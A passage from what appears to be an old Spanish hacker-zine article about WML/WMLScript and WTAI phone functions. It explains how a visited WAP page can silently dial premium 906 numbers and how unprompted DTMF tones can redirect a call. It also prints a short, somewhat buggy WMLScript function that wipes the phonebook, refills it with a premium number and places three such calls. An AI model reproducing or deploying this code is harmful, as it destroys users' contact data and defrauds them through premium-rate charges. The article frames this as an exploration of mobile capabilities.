Por supuesto, el usuario tiene que acceder con el movil a nuestra pagina 
http://servidor.dominio.es/prg1.wml

Este es el viejo truco de una pagina web que cuando la visitas, ejecuta un
programa que desconecta el modem y llama a un telefono 906 .

Recuerdo al lector que las paginas WML se pueden transferir al movil para
verlas en el navegador incorporado, y asi no se hace ningun gasto telefonico.
O sea, que cuando veas que alguien ha hecho un programa en WML/WMLScript y
te decidas a instalarlo en el movil, mejor te lo piensas 2 veces, ya que los
programas en WML/WMLScript estan compilados, y no incluyen el codigo fuente,
con lo que no puedes saber los autenticos propositos del programa.
Cosa por otro lado normal, ya que WML/WMLScript es un lenguaje compilado, no
se si lo he dicho antes, y no todo el mundo tiene un compilador de WML/WMLScript.

Por otro lado, para todos estos moviles modernos que soportan Java y
juegos, tengo que decir que J2ME tambien tiene la posibilidad de hacer llamadas
automaticamente, aumentando la factura telefonica del usuario.
Eso si, en cuanto se realiza la llamada el programa se detiene y finaliza.
Tambien es posible mandar SMS usando Java MicroEdition.

Ahora las malas noticias para esa gente que solo piensa en hacer cosas malas:
1- La funcion WTAPublic.makeCall   pide confirmacion al usuario antes de
   realizar la llamada. Si no, seria una falta de seguridad grave, no crees?
   Sin embargo, WTAPublic.sendDTMF no pide permiso. Asi, es posible
   confundir al usuario indicando una llamada gratuita, y luego mandar
   tonos multifrecuencia para derivar la llamada. Para esto se necesita una
   centralita analogica y un poco de control sobre ella. Yo no lo he intentado
   pero me han comentado que seria posible hacerlo.
2- Hay un monton de funciones utiles en otras librerias:
	- aceptar y colgar una llamada
	- leer/escribir/borrar del libro de direcciones
	- averiguar y procesar llamadas recibidas/perdidas
	- saber duracion/numero/nombre de las llamadas
   Pero desafortunadamente no estan soportadas por este telefono. Ojala
   lo estuvieran; eso aumentaria las posibilidades de un control desde
   un programa ejecutandose en el propio telefono o desde web.
   Aunque tampoco seria del todo completo porque WTAI no deja modificar el
   calendario, alarmas ni libreta de notas. Una pena.

Pero suponiendo que dispongas de un telefono que soporte el conjunto completo
de instrucciones WTAI, se puede hacer una pagina web que, cuando el usuario se
conecte, le cambie toda la libreta de direcciones y llame a un 906 tres veces
sin cortar la llamada anterior (si' , esto es posible).
Algo asi como
--------- begin prg2.wmls  --------------
extern function destruye(x) {
var i;
for(i=i;i<1000:i++)
 WTAPhoneBook.remove(i);
for(i=i;i<1000:i++)
 WTAPhoneBook.write(i,"906060606", "Mama");
var handle1 = WTAVoiceCall.setup("906060606",true);
var handle2 = WTAVoiceCall.setup("906060606",true);
var handle3 = WTAVoiceCall.setup("906060606",true);
}
--------- end prg1.wmls  --------------

FINAL
Con todo esto creo que ya tienes informacion para analizar las posibilidades
de hacer programas para moviles. A partir de ahora es tarea tuya hacer
cosas positivas con esta informacion.

Durante la realizacion de este articulo no fue herido intencionalmente
ningun animal en peligro de extincion.

BIBLIOGRAFIA
my-mobile.siemens.de
www.wap.net
http://www.totalcelular.com/virus.html
http://www.wapforum.org/
http://www.ipipi.com
www.nobi.com


*EOF*